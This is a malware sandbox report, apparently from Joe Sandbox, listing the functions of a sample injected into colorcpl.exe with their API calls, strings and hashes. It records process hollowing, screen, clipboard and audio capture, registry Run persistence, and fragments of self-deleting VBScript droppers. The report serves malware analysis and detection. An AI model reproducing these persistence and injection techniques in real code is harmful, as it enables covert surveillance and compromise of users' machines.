                                                                                    • Instruction ID: 2012966ccc58ba34f1b66039e0a369b5d3a4480e352e9576a3b88d42c479792f
                                                                                    • Opcode Fuzzy Hash: a4fa9cd71a10cb933d89ce129584f21173bad2dfd59bd150132200d33c31d2c6
                                                                                    • Instruction Fuzzy Hash: 9931CF7CD442B5DFCB15CFA9C884879BBBCFF2529175406AAE9A4DB2A0E3308914CB50
                                                                                    Function 02855E1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,028519DC,?,00000004), ref: 02855E6F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InfoLocale
                                                                                    • String ID: GetLocaleInfoEx$\y+/
                                                                                    • API String ID: 2299586839-2134266059
                                                                                    • Opcode ID: 3a4cc59f98abdbee313611a8460e18893a8e650e617acd8a85cdae2e043a0823
                                                                                    • Instruction ID: 03cbc4f2d03b07f577fb862e22ed457a61e1f65c9a153a5389d050a7f21497ef
                                                                                    • Opcode Fuzzy Hash: 3a4cc59f98abdbee313611a8460e18893a8e650e617acd8a85cdae2e043a0823
                                                                                    • Instruction Fuzzy Hash: 5FF0F03DA8022CBBEB016F64DC09F7E7B65EF24B10F404006FC06AA250DA7A9D209A95
                                                                                    Function 0281A65A Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenClipboard.USER32(00000000), ref: 0281A65D
                                                                                    • GetClipboardData.USER32(0000000D), ref: 0281A669
                                                                                    • CloseClipboard.USER32 ref: 0281A671
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Clipboard$CloseDataOpen
                                                                                    • String ID:
                                                                                    • API String ID: 2058664381-0
                                                                                    • Opcode ID: 96d56d8bcfe6e5711e3e0cd91853fbcb37ec9ef817e57e018e9febaf16d9208a
                                                                                    • Instruction ID: 23906163373f0551225aee54a9d5f1b9482459357566a559f8c342497f7e2a2e
                                                                                    • Opcode Fuzzy Hash: 96d56d8bcfe6e5711e3e0cd91853fbcb37ec9ef817e57e018e9febaf16d9208a
                                                                                    • Instruction Fuzzy Hash: EDE0867CA8536097D21057A0D90CB4A675D5B00B21F084614F42DD62C1EB34C410CA95
                                                                                    Function 028428FC Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SetUnhandledExceptionFilter.KERNEL32(Function_00032908,0284262F), ref: 02842901
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExceptionFilterUnhandled
                                                                                    • String ID:
                                                                                    • API String ID: 3192549508-0
                                                                                    • Opcode ID: 2ca26a4c4abcac8ef41862bebff280893b894f84a9f73efc1ac5e5156fa7fa87
                                                                                    • Instruction ID: 9e07ee3737a5e89b03f5c2ff86cfc4308a54d47588922388f76d31960f06d785
                                                                                    • Opcode Fuzzy Hash: 2ca26a4c4abcac8ef41862bebff280893b894f84a9f73efc1ac5e5156fa7fa87
                                                                                    • Instruction Fuzzy Hash:
                                                                                    Function 02826E7E Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 307windowmemoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 02826E98
                                                                                    • CreateCompatibleDC.GDI32(00000000), ref: 02826EA5
                                                                                      • Part of subcall function 028272DF: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 0282730F
                                                                                    • CreateCompatibleBitmap.GDI32(00000000,?), ref: 02826F1B
                                                                                    • DeleteDC.GDI32(00000000), ref: 02826F32
                                                                                    • DeleteDC.GDI32(00000000), ref: 02826F35
                                                                                    • DeleteObject.GDI32(00000000), ref: 02826F38
                                                                                    • SelectObject.GDI32(00000000,00000000), ref: 02826F59
                                                                                    • DeleteDC.GDI32(00000000), ref: 02826F6A
                                                                                    • DeleteDC.GDI32(00000000), ref: 02826F6D
                                                                                    • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 02826F91
                                                                                    • GetIconInfo.USER32(?,?), ref: 02826FC5
                                                                                    • DeleteObject.GDI32(?), ref: 02826FF4
                                                                                    • DeleteObject.GDI32(?), ref: 02827001
                                                                                    • DrawIcon.USER32(00000000,?,?,?), ref: 0282700E
                                                                                    • GetObjectA.GDI32(00000000,00000018,?), ref: 02827026
                                                                                    • LocalAlloc.KERNEL32(00000040,00000001), ref: 02827095
                                                                                    • GlobalAlloc.KERNEL32(00000000,?), ref: 02827104
                                                                                    • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02827128
                                                                                    • DeleteDC.GDI32(?), ref: 0282713C
                                                                                    • DeleteDC.GDI32(00000000), ref: 0282713F
                                                                                    • DeleteObject.GDI32(00000000), ref: 02827142
                                                                                    • GlobalFree.KERNEL32(?), ref: 0282714D
                                                                                    • DeleteObject.GDI32(00000000), ref: 02827201
                                                                                    • GlobalFree.KERNEL32(?), ref: 02827208
                                                                                    • DeleteDC.GDI32(?), ref: 02827218
                                                                                    • DeleteDC.GDI32(00000000), ref: 02827223
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
                                                                                    • String ID: DISPLAY
                                                                                    • API String ID: 479521175-865373369
                                                                                    • Opcode ID: a350ad279a411555cddcd07de95380aa4346f5e6228206965e5c11a9c5fe7ff1
                                                                                    • Instruction ID: 0b1d0944ba66064455dc6a4a93ae3170a18b46c1b2a0501ed2aaf006185e1c23
                                                                                    • Opcode Fuzzy Hash: a350ad279a411555cddcd07de95380aa4346f5e6228206965e5c11a9c5fe7ff1
                                                                                    • Instruction Fuzzy Hash: 67B17C795083619FD720DF25D848B6BB7E9EF88714F04492DF98AD3280EB34E949CB52
                                                                                    Function 0282642D Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,?,?,00000004), ref: 02826474
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 02826477
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection,?,?,00000004), ref: 02826488
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282648B
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection,?,?,00000004), ref: 0282649C
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282649F
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwClose,?,?,00000004), ref: 028264B0
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 028264B3
                                                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,?,?,?,00000004), ref: 02826555
                                                                                    • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,?,?,?,?,?,00000004), ref: 0282656D
                                                                                    • GetThreadContext.KERNEL32(?,00000000,?,?,?,?,?,00000004), ref: 02826583
                                                                                    • ReadProcessMemory.KERNEL32(?,?,?,00000004,?,?,?,?,?,?,00000004), ref: 028265A9
                                                                                    • VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,00000004), ref: 0282662B
                                                                                    • TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,00000004), ref: 0282663F
                                                                                    • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040,?,?,?,?,?,00000004), ref: 0282667F
                                                                                    • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 02826749
                                                                                    • SetThreadContext.KERNEL32(?,00000000), ref: 02826766
                                                                                    • ResumeThread.KERNEL32(?), ref: 02826773
                                                                                    • VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,00000004), ref: 0282678A
                                                                                    • GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00000004), ref: 02826795
                                                                                    • TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,00000004), ref: 028267B0
                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,00000004), ref: 028267B8
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                                                                    • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                                                                    • API String ID: 4188446516-3035715614
                                                                                    • Opcode ID: 8011c3f52092400a79994b8224c43391d5d3423ba1f3ecfcaed2b81363c1e028
                                                                                    • Instruction ID: 7e87592c028a37ca1b86fa2855fe60b8c08bd06b8f2c35de43a42c41aba5ad22
                                                                                    • Opcode Fuzzy Hash: 8011c3f52092400a79994b8224c43391d5d3423ba1f3ecfcaed2b81363c1e028
                                                                                    • Instruction Fuzzy Hash: 73A19EB8944324AFE7108F65DC89F2ABBECFB48748F040929F645D6290E774E858CB56
                                                                                    Function 0281BFDE Relevance: 38.8, APIs: 6, Strings: 16, Instructions: 281registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 028212B5: TerminateProcess.KERNEL32(00000000,028821E8,0281E2B2), ref: 028212C5
                                                                                      • Part of subcall function 028212B5: WaitForSingleObject.KERNEL32(000000FF), ref: 028212D8
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0281C0D6
                                                                                    • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0281C0E9
                                                                                    • SetFileAttributesW.KERNEL32(?,00000080), ref: 0281C102
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0281C132
                                                                                      • Part of subcall function 0281A7F2: TerminateThread.KERNEL32(Function_00009305,00000000,028821E8,0281BC76,?,02882200,pth_unenc,028821E8), ref: 0281A801
                                                                                      • Part of subcall function 0281A7F2: UnhookWindowsHookEx.USER32(?), ref: 0281A811
                                                                                      • Part of subcall function 0281A7F2: TerminateThread.KERNEL32(028192EF,00000000,?,02882200,pth_unenc,028821E8), ref: 0281A823
                                                                                      • Part of subcall function 0282A17B: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?,00000000,0282A29A,00000000,00000000,?), ref: 0282A1BA
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,02879654,02879654,00000000), ref: 0281C37D
                                                                                    • ExitProcess.KERNEL32 ref: 0281C389
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                    • String ID: """, 0$")$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                                                                    • API String ID: 1861856835-1536747724
                                                                                    • Opcode ID: 998c24b61f4a86d6572b972de0d7c87e606e59cc1cdccea04b7cf24b4ea48a2a
                                                                                    • Instruction ID: 5c89fae9504478620ffce4c6697171ee4d0f6ae5037c5a5e396e56f12f3e3664
                                                                                    • Opcode Fuzzy Hash: 998c24b61f4a86d6572b972de0d7c87e606e59cc1cdccea04b7cf24b4ea48a2a
                                                                                    • Instruction Fuzzy Hash: 4491AF7D6442505AD318F7A8D854EEF77AE9F90310F04092EE64AD31D0EFA09D4ECA63
                                                                                    Function 02820EDA Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 190synchronizationsleepfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateMutexA.KERNEL32(00000000,00000001,00000000,02882200,02881FFC,00000000), ref: 02820EF9
                                                                                    • ExitProcess.KERNEL32(00000000), ref: 02820F05
                                                                                    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 02820F7F
                                                                                    • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 02820F8E
                                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02820F99
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 02820FA0
                                                                                    • GetCurrentProcessId.KERNEL32 ref: 02820FA6
                                                                                    • PathFileExistsW.SHLWAPI(?), ref: 02820FD7
                                                                                    • GetTempPathW.KERNEL32(00000104,?), ref: 0282103A
                                                                                    • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 02821054
                                                                                    • lstrcatW.KERNEL32(?,.exe), ref: 02821066
                                                                                      • Part of subcall function 0282A17B: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?,00000000,0282A29A,00000000,00000000,?), ref: 0282A1BA
                                                                                    • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 028210A6
                                                                                    • Sleep.KERNEL32(000001F4), ref: 028210E7
                                                                                    • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 028210FC
                                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02821107
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0282110E
                                                                                    • GetCurrentProcessId.KERNEL32 ref: 02821114
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                                                                                    • String ID: .exe$WDH$exepath$open$temp_
                                                                                    • API String ID: 2649220323-3088914985
                                                                                    • Opcode ID: 32f1f817cfd364ed8e66fa5d421eedb74e33ea3b549c32f5434cc0e89c8d74fb
                                                                                    • Instruction ID: 47f33bbad99c7b32f14bb5d7d66e8cb021d2f2d6e3e6a59ad62b4ca902dd7930
                                                                                    • Opcode Fuzzy Hash: 32f1f817cfd364ed8e66fa5d421eedb74e33ea3b549c32f5434cc0e89c8d74fb
                                                                                    • Instruction Fuzzy Hash: 6F51EB7DE402297BDB10B7A49C5CEBE336E9B04714F140565FA06E32C4EF798E498B52
                                                                                    Function 02828FFD Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 180synchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 028290F2
                                                                                    • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 02829106
                                                                                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,02873050), ref: 0282912E
                                                                                    • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,?,00000000), ref: 02829144
                                                                                    • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 02829185
                                                                                    • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0282919D
                                                                                    • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 028291B2
                                                                                    • SetEvent.KERNEL32 ref: 028291CF
                                                                                    • WaitForSingleObject.KERNEL32(000001F4), ref: 028291E0
                                                                                    • CloseHandle.KERNEL32 ref: 028291F0
                                                                                    • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 02829212
                                                                                    • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0282921C
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                                                                    • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped
                                                                                    • API String ID: 738084811-1354618412
                                                                                    • Opcode ID: 97d0468e9b99f8b0941ab7304b12ef4c1718979ce5f59282096e9ec377d585a9
                                                                                    • Instruction ID: 0ba0a347891a5a4b33215ae5153e0500238dae3f69136fd8f932773253d630b1
                                                                                    • Opcode Fuzzy Hash: 97d0468e9b99f8b0941ab7304b12ef4c1718979ce5f59282096e9ec377d585a9
                                                                                    • Instruction Fuzzy Hash: AD51CC7D6442646FE614FB78EC89DBB379EEB81398F100519F10AC21D0EE648C59CA63
                                                                                    Function 0281B871 Relevance: 37.0, APIs: 10, Strings: 11, Instructions: 296fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _wcslen.LIBCMT ref: 0281B882
                                                                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,02881FFC), ref: 0281B89B
                                                                                    • CopyFileW.KERNEL32(C:\Windows\SysWOW64\colorcpl.exe,00000000,00000000,00000000,00000000,00000000,?,02881FFC), ref: 0281B952
                                                                                    • _wcslen.LIBCMT ref: 0281B968
                                                                                    • CopyFileW.KERNEL32(C:\Windows\SysWOW64\colorcpl.exe,00000000,00000000,00000000), ref: 0281B9E0
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0281BA22
                                                                                    • _wcslen.LIBCMT ref: 0281BA25
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0281BA3C
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,02879654,02879654,00000000), ref: 0281BC2A
                                                                                    • ExitProcess.KERNEL32 ref: 0281BC36
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$_wcslen$AttributesCopy$CreateDirectoryExecuteExitProcessShell
                                                                                    • String ID: """, 0$6$C:\Windows\SysWOW64\colorcpl.exe$CreateObject("WScript.Shell").Run "cmd /c ""$Set fso = CreateObject("Scripting.FileSystemObject")$Temp$WScript.Sleep 1000$\install.vbs$fso.DeleteFile $fso.DeleteFile(Wscript.ScriptFullName)$open
                                                                                    • API String ID: 2743683619-306929222
                                                                                    • Opcode ID: c903e4fbdffbbb42740e8b77ba8c77bc501d09ec487b0d302d38f00d94534c9a
                                                                                    • Instruction ID: 5a6d17bc70f99a3506c3d168fad3e2a7ea325d2e744ba5437aeab5825ac5553b
                                                                                    • Opcode Fuzzy Hash: c903e4fbdffbbb42740e8b77ba8c77bc501d09ec487b0d302d38f00d94534c9a
                                                                                    • Instruction Fuzzy Hash: 6A91603D6083805BE328F7A8DC54EAF779EAF90314F50081DE64AD61D0EE74994ACE63
                                                                                    Function 02811A4D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 02811AB9
                                                                                    • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 02811AE3
                                                                                    • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 02811AF3
                                                                                    • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 02811B03
                                                                                    • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 02811B13
                                                                                    • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 02811B23
                                                                                    • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 02811B34
                                                                                    • WriteFile.KERNEL32(00000000,0287FA9A,00000002,00000000,00000000), ref: 02811B45
                                                                                    • WriteFile.KERNEL32(00000000,0287FA9C,00000004,00000000,00000000), ref: 02811B55
                                                                                    • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 02811B65
                                                                                    • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 02811B76
                                                                                    • WriteFile.KERNEL32(00000000,0287FAA6,00000002,00000000,00000000), ref: 02811B87
                                                                                    • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 02811B97
                                                                                    • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 02811BA7
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$Write$Create
                                                                                    • String ID: RIFF$WAVE$data$fmt
                                                                                    • API String ID: 1602526932-4212202414
                                                                                    • Opcode ID: aaa94cb9ee7b5def1edd438efe84078ad68e56cb5570b68c1f9aa4cbb0cb12a5
                                                                                    • Instruction ID: ac6bdb39365c832d0773deee84a287bbf5edef4e1c943280c5dc9432e221bae5
                                                                                    • Opcode Fuzzy Hash: aaa94cb9ee7b5def1edd438efe84078ad68e56cb5570b68c1f9aa4cbb0cb12a5
                                                                                    • Instruction Fuzzy Hash: B4418E766443197EE210CA51DC86FBBBFECEB85B54F40081AFA44D6180D7A4E909DBB3
                                                                                    Function 02853268 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 296COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$Info
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 2509303402-1501633358
                                                                                    • Opcode ID: f813d759b362d79eb8deb0847b3e3f3e43113bd9e84e4af141b36825f5184fa8
                                                                                    • Instruction ID: ae7bc8f641f453e6eccedc7c9fb5bdea2c1935655bbb4b410c6206b43bd5fd7a
                                                                                    • Opcode Fuzzy Hash: f813d759b362d79eb8deb0847b3e3f3e43113bd9e84e4af141b36825f5184fa8
                                                                                    • Instruction Fuzzy Hash: 6CB1A179900319AFDB11DF68C884BEEBBF5BF08344F1480ADE999E7241DB75A8458B60
                                                                                    Function 0285C60D Relevance: 25.9, APIs: 17, Instructions: 419COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$EnvironmentVariable$_wcschr
                                                                                    • String ID:
                                                                                    • API String ID: 3899193279-0
                                                                                    • Opcode ID: 5c381940b0665c965143681a46ac651884faf1a144d002a7fb94733b879d93dc
                                                                                    • Instruction ID: 5e7cb3b8d741f7d81d2d0a07de6e8a2bebddb1199e123248a81ebadd2836de3b
                                                                                    • Opcode Fuzzy Hash: 5c381940b0665c965143681a46ac651884faf1a144d002a7fb94733b879d93dc
                                                                                    • Instruction Fuzzy Hash: 90D1387DD04324AFDB21AF7C884476A7BE5AF01354F0585AFEE49DB281EB3599008F51
                                                                                    Function 028237DC Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0282382B
                                                                                    • LoadLibraryA.KERNEL32(?), ref: 0282386D
                                                                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 0282388D
                                                                                    • FreeLibrary.KERNEL32(00000000), ref: 02823894
                                                                                    • LoadLibraryA.KERNEL32(?), ref: 028238CC
                                                                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 028238DE
                                                                                    • FreeLibrary.KERNEL32(00000000), ref: 028238E5
                                                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 028238F4
                                                                                    • FreeLibrary.KERNEL32(00000000), ref: 0282390B
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                                                                    • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                                                                    • API String ID: 2490988753-744132762
                                                                                    • Opcode ID: 89b1bff7edd8398f95bdf5df85a727d38f0465bacd2c6d2aaed446554efe7a70
                                                                                    • Instruction ID: be27c952be5718244f68662332b98230a722bef3a37724411ed8dd6a6d4f1bab
                                                                                    • Opcode Fuzzy Hash: 89b1bff7edd8398f95bdf5df85a727d38f0465bacd2c6d2aaed446554efe7a70
                                                                                    • Instruction Fuzzy Hash: 48310B7E901325ABD320DB24DC58D8FBBECAF46754F041A95F949E7240E73CC55C8AA2
                                                                                    Function 0282B344 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • DefWindowProcA.USER32(?,00000401,?,?), ref: 0282B38F
                                                                                    • GetCursorPos.USER32(?), ref: 0282B39E
                                                                                    • SetForegroundWindow.USER32(?), ref: 0282B3A7
                                                                                    • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0282B3C1
